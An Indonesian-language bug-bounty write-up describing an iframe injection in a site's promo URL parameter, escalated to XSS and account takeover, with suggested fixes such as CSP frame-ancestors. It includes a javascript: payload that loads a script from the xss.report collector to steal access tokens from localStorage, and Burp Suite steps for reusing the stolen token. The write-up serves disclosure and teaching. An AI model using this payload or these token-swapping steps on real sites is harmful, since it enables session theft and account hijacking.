Assalamualaikum bug hunter, di write ini saya menemukan celah iframe injection yang bisa dieskalasi ke XSS hingga menyebabkan Account Takeover.

None

Berikut gambar dibawah ini adalah penggunaan iframe pada suatu website untuk menampilkan suatu konten tanpa harus membuka website tersebut.

None
Penggunaan iframe untuk menampilkan konten

Dalam kasus temuan saya, website ini menggunakan iframe untuk menampilkan isi konten melalui parameter url (katakanlah /promo?type=voucher&target=https://evil.com) seperti dibawah ini yang bisa ubah menjadi halaman evil.com :

None

Setelah saya cek menggunakan clickjacker.io hasilnya:

None

sehingga website perlu membutuhkan perhatian seperti penggunaan CSP frame-ancestors:

Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com

Kemudian memvalidasi parameter URL, penggunaan sandbox iframe untuk membatasi kemampuan script dan HttpOnly + Secure cookie supaya tidak bisa diambil via XSS

Dari temuan ini, saya coba eskalasi XSS dengan payload javascript:alert(document.cookie) dan boom!!! itu muncul pop up

None

Selanjutnya saya eskalasi ke Account Takeover dengan proof of concept:

  1. Siapkan 2 akun untuk percobaan dengan login di browser yang berbeda [misalnya, akun A di microsoft edge dan akun B di chrome (milik burpsuite]
  2. Daftar atau login ke https://xss.report/ lalu pilih navbar payload
  3. Cari dan pilih payload yang sesuai pada step open redirect to xss yakni:javascript:eval('var a=document.createElement(\'script\');a.src=\'https://xss.report/c/username\'document.body.appendChild(a)')
  4. Mulai buka burpsuite, lalu pada navbar pilih target dan klik open browser
  5. Kunjungi website https://target.com/
  6. login dengan akun yang sudah ada (akun A)
  7. saat didalam halaman dashboard, akses link berikut https://vuln.target.com/promo?type=vouchercoupon&=javascript:eval(%27var%20a%3Ddocument.createElement(%5C%27script%5C%27);a.src%3D%5C%27https:%2F%2Fxss.report%2Fc%2Fusername%5C%27;document.body.appendChild(a)%27)
  8. terlihat pada UI memang tidak menampilkan apapun alias blank putih namun terkirim ke xss.report dengan nama blank (menyesuaikan dengan respon yang di render dari xss.report/username
  9. periksa log aktivitas pada xss report, terdapat access token dan device ID (milik akun A) pada localStorage yang diperlukan untuk account takeover
  10. salin access token dan device id milik milik akun A dan simpan di notepad
  11. di burpsuite, pada bagian sitemap pilih api.target.com (di langkah ini akun B sudah login dengan browser google chrome yang disediakan oleh burpsuite)
  12. pilih dan buka folder V1 dan buka subfolder mobile dan pilih profile dan buka
  13. pada langkah ini terdapat method POST (mengirim data) ke server pada saat login dan sistem menerjemahkan menjadi access token dan device id (untuk akun B) seperti dibawah ini
  14. {"token":"fa6171e8-a30d-4099โ€“9c1c-f19aa8058f79", "device_id":"cc4f64ec-48d0โ€“4285โ€“914d-8197d6e900dc"}
  15. dikolom Request, klik garis 3 lalu pilih dan klik send to repeater
  16. klik Repeater pada navbar, maka muncul data yang sama seperti pada langkah no 10
  17. Ganti dan tempel access token dan device ID (dari akun B ke akun A) ini milik akun A
  18. {"token":"e48a90ee-be09โ€“4a59โ€“8595-a5eac505b449", "device_id":"7cf6ffa3โ€“064c-432d-9d0c-a0c2da1ae145"}
  19. Klik tombol send
  20. copy lalu paste di new tab
  21. Bingoo, itu menampilkan detail data pada akun A di kolom Response
  22. Kita sudah berhasil mengambil alih akun korban (akun A) tanpa password.
None
None
gambar untuk step 8 dan 9

isi data victim

{
"id_user": 3564463,
"user_fullname": "John Doe",
"user_firstname": "John",
"user_lastname": "Doe",
"user_skype": null,
"user_active_call": "default",
"user_interest": "2",
"user_gender": Male,
"user_birthdate": 1974-04-01,
"user_country": 96,
"user_phone_alt": 081212712030,
"user_picture": "no_image_genderless.png",
"user_timezone": "UP7",
"user_lang": 3,
"user_city": Bandung, West Java,
"register_date": "2025-07-27 20:30:57",
"active_date": null,
"user_status": "pasive",
"id_corporate": null,
"disabled": "n",
"register_tenant": "capable",
"activate_course": 2,
"password_upgraded": "Y",
"interest_study": {
"id_study": 2,
"study_name": "English",
"study_code": "EN"
}
}

Celah ini saya laporkan dan mendapatkan bounty untuk beli cilok, hehe

None

Sekian write up yang bisa saya bagikan, mohon maaf apabila ada kekurangan dan kekeliruan dalam penyampaian

Terimakasih

#XSSattack #AccountTakeover